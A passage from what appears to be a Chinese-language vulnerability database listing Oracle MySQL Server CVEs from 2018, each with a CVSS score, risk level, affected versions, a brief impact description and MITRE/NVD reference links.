风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 387 | (subcomponent: Server: DDL). Supported versions that are affected are 388 | 5.7.22 and prior and 8.0.11 and prior. Easily exploitable 389 | vulnerability allows high privileged attacker with network access via 390 | multiple protocols to compromise MySQL Server. Successful attacks of 391 | this vulnerability can result in unauthorized ability to cause a hang 392 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 393 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 394 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 395 | 396 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3077
https://nvd.nist.gov/vuln/detail/CVE-2018-3077

漏洞编号	CVE-2018-3075
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 397 | (subcomponent: Server: Security: Privileges). Supported versions that 398 | are affected are 8.0.11 and prior. Easily exploitable vulnerability 399 | allows high privileged attacker with network access via multiple 400 | protocols to compromise MySQL Server. Successful attacks of this 401 | vulnerability can result in unauthorized ability to cause a hang or 402 | frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 403 | Base Score 4.9 (Availability impacts). CVSS Vector: 404 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 405 | 406 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3075
https://nvd.nist.gov/vuln/detail/CVE-2018-3075

漏洞编号	CVE-2018-3074
威胁评分	5.3
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 407 | (subcomponent: Server: Security: Roles). Supported versions that are 408 | affected are 8.0.11 and prior. Difficult to exploit vulnerability 409 | allows low privileged attacker with network access via multiple 410 | protocols to compromise MySQL Server. Successful attacks of this 411 | vulnerability can result in unauthorized ability to cause a hang or 412 | frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 413 | Base Score 5.3 (Availability impacts). CVSS Vector: 414 | (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H). 415 | 416 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3074
https://nvd.nist.gov/vuln/detail/CVE-2018-3074

漏洞编号	CVE-2018-3073
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 417 | (subcomponent: Server: Optimizer). Supported versions that are 418 | affected are 8.0.11 and prior. Easily exploitable vulnerability allows 419 | low privileged attacker with network access via multiple protocols to 420 | compromise MySQL Server. Successful attacks of this vulnerability can 421 | result in unauthorized ability to cause a hang or frequently 422 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 423 | 6.5 (Availability impacts). CVSS Vector: 424 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 425 | 426 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3073
https://nvd.nist.gov/vuln/detail/CVE-2018-3073

漏洞编号	CVE-2018-3071
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 427 | (subcomponent: Audit Log). Supported versions that are affected are 428 | 5.7.22 and prior. Easily exploitable vulnerability allows high 429 | privileged attacker with network access via multiple protocols to 430 | compromise MySQL Server. Successful attacks of this vulnerability can 431 | result in unauthorized ability to cause a hang or frequently 432 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 433 | 4.9 (Availability impacts). CVSS Vector: 434 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 435 | 436 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3071
https://nvd.nist.gov/vuln/detail/CVE-2018-3071

漏洞编号	CVE-2018-3070
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 437 | (subcomponent: Client mysqldump). Supported versions that are affected 438 | are 5.5.60 and prior, 5.6.40 and prior and 5.7.22 and prior. Easily 439 | exploitable vulnerability allows low privileged attacker with network 440 | access via multiple protocols to compromise MySQL Server. Successful 441 | attacks of this vulnerability can result in unauthorized ability to 442 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 443 | Server. CVSS 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 444 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 445 | 446 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3070
https://nvd.nist.gov/vuln/detail/CVE-2018-3070

漏洞编号	CVE-2018-3067
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 447 | (subcomponent: Server: Replication). Supported versions that are 448 | affected are 8.0.11 and prior. Easily exploitable vulnerability allows 449 | high privileged attacker with network access via multiple protocols to 450 | compromise MySQL Server. Successful attacks of this vulnerability can 451 | result in unauthorized ability to cause a hang or frequently 452 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 453 | 4.9 (Availability impacts). CVSS Vector: 454 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 455 | 456 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3067
https://nvd.nist.gov/vuln/detail/CVE-2018-3067

漏洞编号	CVE-2018-3066
威胁评分	3.3
风险等级	低
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 457 | (subcomponent: Server: Options). Supported versions that are affected 458 | are 5.5.60 and prior, 5.6.40 and prior and 5.7.22 and prior. Difficult 459 | to exploit vulnerability allows high privileged attacker with network 460 | access via multiple protocols to compromise MySQL Server. Successful 461 | attacks of this vulnerability can result in unauthorized update, 462 | insert or delete access to some of MySQL Server accessible data as 463 | well as unauthorized read access to a subset of MySQL Server 464 | accessible data. CVSS 3.0 Base Score 3.3 (Confidentiality and 465 | Integrity impacts). CVSS Vector: 466 | (CVSS:3.0/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N). 467 | 468 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3066
https://nvd.nist.gov/vuln/detail/CVE-2018-3066

漏洞编号	CVE-2018-3065
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 469 | (subcomponent: Server: DML). Supported versions that are affected are 470 | 5.7.22 and prior and 8.0.11 and prior. Easily exploitable 471 | vulnerability allows low privileged attacker with network access via 472 | multiple protocols to compromise MySQL Server. Successful attacks of 473 | this vulnerability can result in unauthorized ability to cause a hang 474 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 475 | 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 476 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 477 | 478 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3065
https://nvd.nist.gov/vuln/detail/CVE-2018-3065

漏洞编号	CVE-2018-3064
威胁评分	7.1
风险等级	高
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 479 | (subcomponent: InnoDB). Supported versions that are affected are 480 | 5.6.40 and prior, 5.7.22 and prior and 8.0.11 and prior. Easily 481 | exploitable vulnerability allows low privileged attacker with network 482 | access via multiple protocols to compromise MySQL Server. Successful 483 | attacks of this vulnerability can result in unauthorized ability to 484 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 485 | Server as well as unauthorized update, insert or delete access to some 486 | of MySQL Server accessible data. CVSS 3.0 Base Score 7.1 (Integrity 487 | and Availability impacts). CVSS Vector: 488 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H). 489 | 490 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3064
https://nvd.nist.gov/vuln/detail/CVE-2018-3064

漏洞编号	CVE-2018-3062
威胁评分	5.3
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 491 | (subcomponent: Server: Memcached). Supported versions that are 492 | affected are 5.6.40 and prior, 5.7.22 and prior and 8.0.11 and prior. 493 | Difficult to exploit vulnerability allows low privileged attacker with 494 | network access via memcached to compromise MySQL Server. Successful 495 | attacks of this vulnerability can result in unauthorized ability to 496 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 497 | Server. CVSS 3.0 Base Score 5.3 (Availability impacts). CVSS Vector: 498 | (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H). 499 | 500 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3062
https://nvd.nist.gov/vuln/detail/CVE-2018-3062

漏洞编号	CVE-2018-3061
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 501 | (subcomponent: Server: DML). Supported versions that are affected are 502 | 5.7.22 and prior. Easily exploitable vulnerability allows high 503 | privileged attacker with network access via multiple protocols to 504 | compromise MySQL Server. Successful attacks of this vulnerability can 505 | result in unauthorized ability to cause a hang or frequently 506 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 507 | 4.9 (Availability impacts). CVSS Vector: 508 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 509 | 510 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3061
https://nvd.nist.gov/vuln/detail/CVE-2018-3061

漏洞编号	CVE-2018-3060
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 511 | (subcomponent: InnoDB). Supported versions that are affected are 512 | 5.7.22 and prior and 8.0.11 and prior. Easily exploitable 513 | vulnerability allows high privileged attacker with network access via 514 | multiple protocols to compromise MySQL Server. Successful attacks of 515 | this vulnerability can result in unauthorized creation, deletion or 516 | modification access to critical data or all MySQL Server accessible 517 | data and unauthorized ability to cause a hang or frequently repeatable 518 | crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 6.5 519 | (Integrity and Availability impacts). CVSS Vector: 520 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H). 521 | 522 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3060
https://nvd.nist.gov/vuln/detail/CVE-2018-3060

漏洞编号	CVE-2018-3058
威胁评分	4.3
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 523 | (subcomponent: MyISAM). Supported versions that are affected are 524 | 5.5.60 and prior, 5.6.40 and prior and 5.7.22 and prior. Easily 525 | exploitable vulnerability allows low privileged attacker with network 526 | access via multiple protocols to compromise MySQL Server. Successful 527 | attacks of this vulnerability can result in unauthorized update, 528 | insert or delete access to some of MySQL Server accessible data. CVSS 529 | 3.0 Base Score 4.3 (Integrity impacts). CVSS Vector: 530 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N). 531 | 532 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3058
https://nvd.nist.gov/vuln/detail/CVE-2018-3058

漏洞编号	CVE-2018-3056
威胁评分	4.3
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 533 | (subcomponent: Server: Security: Privileges). Supported versions that 534 | are affected are 5.7.22 and prior and 8.0.11 and prior. Easily 535 | exploitable vulnerability allows low privileged attacker with network 536 | access via multiple protocols to compromise MySQL Server. Successful 537 | attacks of this vulnerability can result in unauthorized read access 538 | to a subset of MySQL Server accessible data. CVSS 3.0 Base Score 4.3 539 | (Confidentiality impacts). CVSS Vector: 540 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N). 541 | 542 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3056
https://nvd.nist.gov/vuln/detail/CVE-2018-3056

漏洞编号	CVE-2018-3054
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 543 | (subcomponent: Server: DDL). Supported versions that are affected are 544 | 5.7.22 and prior and 8.0.11 and prior. Easily exploitable 545 | vulnerability allows high privileged attacker with network access via 546 | multiple protocols to compromise MySQL Server. Successful attacks of 547 | this vulnerability can result in unauthorized ability to cause a hang 548 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 549 | 3.0 Base Score 4.9 (Availability impacts). CVSS Vector: 550 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 551 | 552 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-3054
https://nvd.nist.gov/vuln/detail/CVE-2018-3054

漏洞编号	CVE-2018-2767
威胁评分	3.1
风险等级	低
发现时间	2017-12-15
修改时间	2018-07-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 553 | (subcomponent: Server: Security: Encryption). Supported versions that 554 | are affected are 5.5.60 and prior, 5.6.40 and prior and 5.7.22 and 555 | prior. Difficult to exploit vulnerability allows low privileged 556 | attacker with network access via multiple protocols to compromise 557 | MySQL Server. Successful attacks of this vulnerability can result in 558 | unauthorized read access to a subset of MySQL Server accessible data. 559 | CVSS 3.0 Base Score 3.1 (Confidentiality impacts). CVSS Vector: 560 | (CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N). 561 | 562 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2767
https://nvd.nist.gov/vuln/detail/CVE-2018-2767

漏洞编号	CVE-2018-2846
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 563 | (subcomponent: Server: Performance Schema). Supported versions that 564 | are affected are 5.7.21 and prior. Easily exploitable vulnerability 565 | allows high privileged attacker with network access via multiple 566 | protocols to compromise MySQL Server. Successful attacks of this 567 | vulnerability can result in unauthorized ability to cause a hang or 568 | frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 569 | Base Score 4.9 (Availability impacts). CVSS Vector: 570 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 571 | 572 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2846
https://nvd.nist.gov/vuln/detail/CVE-2018-2846

漏洞编号	CVE-2018-2839
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 573 | (subcomponent: Server: DML). Supported versions that are affected are 574 | 5.7.21 and prior. Easily exploitable vulnerability allows high 575 | privileged attacker with network access via multiple protocols to 576 | compromise MySQL Server. Successful attacks of this vulnerability can 577 | result in unauthorized ability to cause a hang or frequently 578 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 579 | 4.9 (Availability impacts). CVSS Vector: 580 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 581 | 582 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2839
https://nvd.nist.gov/vuln/detail/CVE-2018-2839

漏洞编号	CVE-2018-2819
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 583 | (subcomponent: InnoDB). Supported versions that are affected are 584 | 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. Easily 585 | exploitable vulnerability allows low privileged attacker with network 586 | access via multiple protocols to compromise MySQL Server. Successful 587 | attacks of this vulnerability can result in unauthorized ability to 588 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 589 | Server. CVSS 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 590 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 591 | 592 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2819
https://nvd.nist.gov/vuln/detail/CVE-2018-2819

漏洞编号	CVE-2018-2818
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 593 | (subcomponent: Server : Security : Privileges). Supported versions 594 | that are affected are 5.5.59 and prior, 5.6.39 and prior and 5.7.21 595 | and prior. Easily exploitable vulnerability allows high privileged 596 | attacker with network access via multiple protocols to compromise 597 | MySQL Server. Successful attacks of this vulnerability can result in 598 | unauthorized ability to cause a hang or frequently repeatable crash 599 | (complete DOS) of MySQL Server. CVSS 3.0 Base Score 4.9 (Availability 600 | impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 601 | 602 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2818
https://nvd.nist.gov/vuln/detail/CVE-2018-2818

漏洞编号	CVE-2018-2817
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 603 | (subcomponent: Server: DDL). Supported versions that are affected are 604 | 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. Easily 605 | exploitable vulnerability allows low privileged attacker with network 606 | access via multiple protocols to compromise MySQL Server. Successful 607 | attacks of this vulnerability can result in unauthorized ability to 608 | cause a hang or frequently repeatable crash (complete DOS) of MySQL 609 | Server. CVSS 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 610 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 611 | 612 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2817
https://nvd.nist.gov/vuln/detail/CVE-2018-2817

漏洞编号	CVE-2018-2816
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 613 | (subcomponent: Server: Optimizer). Supported versions that are 614 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 615 | high privileged attacker with network access via multiple protocols to 616 | compromise MySQL Server. Successful attacks of this vulnerability can 617 | result in unauthorized ability to cause a hang or frequently 618 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 619 | 4.9 (Availability impacts). CVSS Vector: 620 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 621 | 622 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2816
https://nvd.nist.gov/vuln/detail/CVE-2018-2816

漏洞编号	CVE-2018-2813
威胁评分	4.3
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 623 | (subcomponent: Server: DDL). Supported versions that are affected are 624 | 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. Easily 625 | exploitable vulnerability allows low privileged attacker with network 626 | access via multiple protocols to compromise MySQL Server. Successful 627 | attacks of this vulnerability can result in unauthorized read access 628 | to a subset of MySQL Server accessible data. CVSS 3.0 Base Score 4.3 629 | (Confidentiality impacts). CVSS Vector: 630 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N). 631 | 632 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2813
https://nvd.nist.gov/vuln/detail/CVE-2018-2813

漏洞编号	CVE-2018-2812
威胁评分	5.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 633 | (subcomponent: Server: Optimizer). Supported versions that are 634 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 635 | high privileged attacker with network access via multiple protocols to 636 | compromise MySQL Server. Successful attacks of this vulnerability can 637 | result in unauthorized ability to cause a hang or frequently 638 | repeatable crash (complete DOS) of MySQL Server as well as 639 | unauthorized update, insert or delete access to some of MySQL Server 640 | accessible data. CVSS 3.0 Base Score 5.5 (Integrity and Availability 641 | impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). 642 | 643 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2812
https://nvd.nist.gov/vuln/detail/CVE-2018-2812

漏洞编号	CVE-2018-2810
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 644 | (subcomponent: InnoDB). Supported versions that are affected are 645 | 5.7.21 and prior. Easily exploitable vulnerability allows high 646 | privileged attacker with network access via multiple protocols to 647 | compromise MySQL Server. Successful attacks of this vulnerability can 648 | result in unauthorized ability to cause a hang or frequently 649 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 650 | 4.9 (Availability impacts). CVSS Vector: 651 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 652 | 653 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2810
https://nvd.nist.gov/vuln/detail/CVE-2018-2810

漏洞编号	CVE-2018-2787
威胁评分	5.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 654 | (subcomponent: InnoDB). Supported versions that are affected are 655 | 5.6.39 and prior and 5.7.21 and prior. Easily exploitable 656 | vulnerability allows high privileged attacker with network access via 657 | multiple protocols to compromise MySQL Server. Successful attacks of 658 | this vulnerability can result in unauthorized ability to cause a hang 659 | or frequently repeatable crash (complete DOS) of MySQL Server as well 660 | as unauthorized update, insert or delete access to some of MySQL 661 | Server accessible data. CVSS 3.0 Base Score 5.5 (Integrity and 662 | Availability impacts). CVSS Vector: 663 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). 664 | 665 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2787
https://nvd.nist.gov/vuln/detail/CVE-2018-2787

漏洞编号	CVE-2018-2786
威胁评分	5.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 666 | (subcomponent: InnoDB). Supported versions that are affected are 667 | 5.7.21 and prior. Easily exploitable vulnerability allows high 668 | privileged attacker with network access via multiple protocols to 669 | compromise MySQL Server. Successful attacks of this vulnerability can 670 | result in unauthorized ability to cause a hang or frequently 671 | repeatable crash (complete DOS) of MySQL Server as well as 672 | unauthorized update, insert or delete access to some of MySQL Server 673 | accessible data. CVSS 3.0 Base Score 5.5 (Integrity and Availability 674 | impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H). 675 | 676 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2786
https://nvd.nist.gov/vuln/detail/CVE-2018-2786

漏洞编号	CVE-2018-2784
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 677 | (subcomponent: InnoDB). Supported versions that are affected are 678 | 5.6.39 and prior and 5.7.21 and prior. Easily exploitable 679 | vulnerability allows low privileged attacker with network access via 680 | multiple protocols to compromise MySQL Server. Successful attacks of 681 | this vulnerability can result in unauthorized ability to cause a hang 682 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 683 | 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 684 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 685 | 686 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2784
https://nvd.nist.gov/vuln/detail/CVE-2018-2784

漏洞编号	CVE-2018-2782
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 687 | (subcomponent: InnoDB). Supported versions that are affected are 688 | 5.6.39 and prior and 5.7.21 and prior. Easily exploitable 689 | vulnerability allows low privileged attacker with network access via 690 | multiple protocols to compromise MySQL Server. Successful attacks of 691 | this vulnerability can result in unauthorized ability to cause a hang 692 | or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 693 | 3.0 Base Score 6.5 (Availability impacts). CVSS Vector: 694 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 695 | 696 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2782
https://nvd.nist.gov/vuln/detail/CVE-2018-2782

漏洞编号	CVE-2018-2781
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 697 | (subcomponent: Server: Optimizer). Supported versions that are 698 | affected are 5.5.59 and prior, 5.6.39 and prior and 5.7.21 and prior. 699 | Easily exploitable vulnerability allows high privileged attacker with 700 | network access via multiple protocols to compromise MySQL Server. 701 | Successful attacks of this vulnerability can result in unauthorized 702 | ability to cause a hang or frequently repeatable crash (complete DOS) 703 | of MySQL Server. CVSS 3.0 Base Score 4.9 (Availability impacts). CVSS 704 | Vector: (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 705 | 706 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2781
https://nvd.nist.gov/vuln/detail/CVE-2018-2781

漏洞编号	CVE-2018-2780
威胁评分	6.5
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 707 | (subcomponent: Server: Optimizer). Supported versions that are 708 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 709 | low privileged attacker with network access via multiple protocols to 710 | compromise MySQL Server. Successful attacks of this vulnerability can 711 | result in unauthorized ability to cause a hang or frequently 712 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 713 | 6.5 (Availability impacts). CVSS Vector: 714 | (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H). 715 | 716 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2780
https://nvd.nist.gov/vuln/detail/CVE-2018-2780

漏洞编号	CVE-2018-2779
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 717 | (subcomponent: Server: Optimizer). Supported versions that are 718 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 719 | high privileged attacker with network access via multiple protocols to 720 | compromise MySQL Server. Successful attacks of this vulnerability can 721 | result in unauthorized ability to cause a hang or frequently 722 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 723 | 4.9 (Availability impacts). CVSS Vector: 724 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 725 | 726 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2779
https://nvd.nist.gov/vuln/detail/CVE-2018-2779

漏洞编号	CVE-2018-2778
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

Vulnerability in the MySQL Server component of Oracle MySQL 727 | (subcomponent: Server: Optimizer). Supported versions that are 728 | affected are 5.7.21 and prior. Easily exploitable vulnerability allows 729 | high privileged attacker with network access via multiple protocols to 730 | compromise MySQL Server. Successful attacks of this vulnerability can 731 | result in unauthorized ability to cause a hang or frequently 732 | repeatable crash (complete DOS) of MySQL Server. CVSS 3.0 Base Score 733 | 4.9 (Availability impacts). CVSS Vector: 734 | (CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H). 735 | 736 |

参考链接

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-2778
https://nvd.nist.gov/vuln/detail/CVE-2018-2778

漏洞编号	CVE-2018-2777
威胁评分	4.9
风险等级	中
发现时间	2017-12-15
修改时间	2018-04-18

Assigning CNA

漏洞描述

